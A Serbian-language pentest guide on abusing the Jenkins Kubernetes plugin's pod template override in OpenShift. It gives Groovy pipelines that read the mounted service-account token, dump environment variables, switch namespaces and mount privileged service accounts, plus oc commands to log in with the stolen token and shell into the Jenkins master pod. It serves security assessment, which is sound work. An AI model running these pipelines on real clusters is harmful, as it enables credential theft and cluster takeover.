# Jenkins u Openshift-u - prepravke build pod-a

**Originalni autor ove stranice je** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Kubernetes plugin za Jenkins
Ovaj plugin je uglavnom odgovoran za osnovne funkcije Jenkins-a unutar openshift/kubernetes klastera. Zvanična dokumentacija [ovde](https://plugins.jenkins.io/kubernetes/)
Nudi nekoliko funkcionalnosti kao što je mogućnost za programere da preprave neke podrazumevane konfiguracije jenkins build pod-a.

## Osnovna funkcionalnost

Ovaj plugin omogućava fleksibilnost programerima prilikom izgradnje njihovog koda u adekvatnom okruženju.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Neka zloupotrebe koriste pod yaml override

Međutim, može se zloupotrebiti da se koristi bilo koja dostupna slika kao što je Kali Linux i izvrše proizvoljne komande koristeći unapred instalirane alate iz te slike.  
U sledećem primeru možemo eksfiltrirati token serviceaccount-a pokrenutog poda.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
Drugačija sintaksa za postizanje istog cilja.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Primer za prepisivanje imenskog prostora pod-a
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Još jedan primer koji pokušava da montira serviceaccount (koji može imati više dozvola od podrazumevanog, koji pokreće vašu izgradnju) na osnovu njegovog imena. Možda ćete prvo morati da pogodite ili enumerišete postojeće serviceaccounts.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Ista tehnika se primenjuje da se pokuša montirati Secret. Krajnji cilj ovde bi bio da se otkrije kako da konfigurišete svoj pod build da efikasno pivotirate ili dobijete privilegije.

## Idemo dalje

Kada se naviknete da se igrate s tim, iskoristite svoje znanje o Jenkins-u i Kubernetes/Openshift-u da pronađete loše konfiguracije / zloupotrebe.

Postavite sebi sledeća pitanja:

- Koji servisni nalog se koristi za implementaciju build podova?
- Koje uloge i dozvole ima? Da li može da čita tajne prostora imena u kojem se trenutno nalazim?
- Mogu li dalje da enumerišem druge build podove?
- Da li mogu da izvršavam komande na master čvoru/podu iz kompromitovanog sa?
- Mogu li dalje da enumerišem klaster da bih pivotirao negde drugde?
- Koji SCC je primenjen?

Možete saznati koje oc/kubectl komande da izdate [ovde](../openshift-basic-information.md) i [ovde](../../kubernetes-security/kubernetes-enumeration.md).

### Mogući privesc/pivoting scenariji

Pretpostavimo da ste tokom vaše procene otkrili da se svi jenkins build-ovi izvršavaju unutar prostora imena pod nazivom _worker-ns_. Utvrdili ste da je pod default servisni nalog pod nazivom _default-sa_ montiran na build podovima, međutim, nema mnogo dozvola osim pristupa za čitanje na nekim resursima, ali ste uspeli da identifikujete postojeći servisni nalog pod nazivom _master-sa_.
Takođe pretpostavimo da imate instaliranu oc komandu unutar pokrenutog build kontejnera.

Sa sledećim build skriptom možete preuzeti kontrolu nad _master-sa_ servisnim nalogom i dalje enumerisati.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
U zavisnosti od vašeg pristupa, ili treba da nastavite svoj napad iz skripte za izgradnju ili se možete direktno prijaviti kao ovaj sa na aktivnom klasteru:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
Ako ovaj sa ima dovoljno dozvola (kao što su pod/exec), takođe možete preuzeti kontrolu nad celim jenkins instance izvršavanjem komandi unutar pod-a master čvora, ako se pokreće unutar istog imenskog prostora. Ovaj pod možete lako identifikovati putem njegovog imena i činjenice da mora montirati PVC (persistant volume claim) koji se koristi za čuvanje jenkins podataka.
```bash
oc rsh pod_name -c container_name
```
U slučaju da master node pod ne radi unutar iste namespace kao radnici, možete pokušati slične napade usmeravajući se na master namespace. Pretpostavimo da se zove _jenkins-master_. Imajte na umu da serviceAccount master-sa treba da postoji u _jenkins-master_ namespace (i možda ne postoji u _worker-ns_ namespace)
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
